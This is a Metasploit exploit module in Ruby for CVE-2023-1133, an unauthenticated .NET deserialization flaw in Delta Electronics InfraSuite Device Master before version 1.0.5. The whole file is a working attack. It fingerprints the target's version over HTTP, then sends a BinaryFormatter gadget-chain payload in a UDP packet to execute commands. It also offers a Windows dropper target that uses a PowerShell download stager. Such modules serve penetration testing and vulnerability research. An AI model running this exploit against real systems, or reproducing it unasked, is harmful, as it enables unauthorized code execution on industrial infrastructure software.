# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Udp prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Delta Electronics InfraSuite Device Master Deserialization', 'Description' => %q{ Delta Electronics InfraSuite Device Master versions below v1.0.5 have an unauthenticated .NET deserialization vulnerability within the 'ParseUDPPacket()' method of the 'Device-Gateway-Status' process. The 'ParseUDPPacket()' method reads user-controlled packet data and eventually calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header without appropriate validation, leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process. }, 'Author' => [ 'Anonymous', # Vulnerability discovery 'Shelby Pace' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-1133'], ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-672/'], ['URL', 'https://attackerkb.com/topics/owl4Xz8fKW/cve-2023-1133'] ], 'Platform' => 'win', 'Privileged' => false, 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Windows EXE Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper, 'CmdStagerFlavor' => :psh_invokewebrequest } ], [ 'Windows CMD', { 'Arch' => [ARCH_CMD], 'Type' => :windows_cmd } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-05-17', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ Opt::RPORT(10100), OptInt.new('INFRASUITE_PORT', [ true, 'The port on which the InfraSuite Manager is listening', 80 ]), OptString.new('TARGETURI', [ true, 'The base path to the InfraSuite Manager', '/' ]) ]) end def check print_status('Requesting the login page to determine if target is InfraSuite Device Master...') res = send_request_cgi( 'method' => 'GET', 'rport' => datastore['INFRASUITE_PORT'], 'uri' => normalize_uri(target_uri.path, 'login.html') ) return CheckCode::Unknown unless res unless res.body.include?('InfraSuite Manager Login') return CheckCode::Safe('Target does not appear to be InfraSuite Device Master.') end print_status('Target is InfraSuite Device Master. Now attempting to determine version.') res = send_request_cgi( 'method' => 'GET', 'rport' => datastore['INFRASUITE_PORT'], 'uri' => normalize_uri(target_uri.path, 'js/webcfg.js') ) unless res&.body&.include?('var devicemasterCfg') return CheckCode::Detected('Discovered InfraSuite Device Master, but couldn\'t determine version.') end version = res.body.match(/version:'(\d+(?:\.\d+)+[a-zA-Z]?)'/) unless version && version.length > 1 return CheckCode::Detected('Failed to find version string') end version = version[1] vprint_status("Found version '#{version}' of InfraSuite Device Master") r_vers = Rex::Version.new(version) return CheckCode::Appears if r_vers < Rex::Version.new('1.0.5') CheckCode::Safe end def exploit connect_udp case target['Type'] when :windows_dropper execute_cmdstager when :windows_cmd execute_command(payload.encoded) end end def execute_command(cmd, _opts = {}) serialized = ::Msf::Util::DotNetDeserialization.generate( cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter ) pkt = "\x01#{[ serialized.length ].pack('n')}#{serialized}" udp_sock.put(pkt) end def cleanup disconnect_udp end end